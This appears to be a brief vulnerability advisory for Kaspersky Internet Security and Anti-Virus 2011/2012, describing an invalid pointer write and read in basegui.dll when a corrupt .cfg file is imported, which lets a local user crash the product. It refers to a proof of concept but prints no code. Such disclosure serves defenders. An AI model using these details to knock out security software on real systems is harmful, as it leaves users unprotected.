A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 &  Kaspersky Anti-Virus 2011/2012. 
The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters, 
which could be exploited by attackers to crash he complete software process. 
The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import.

Information:
The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test ... (wrong-way.png).
The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows
an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is prv8.

Notice:
An local attacker do not need to know any passwords to load a .cfg (Configuration) file. (access-rights.png)
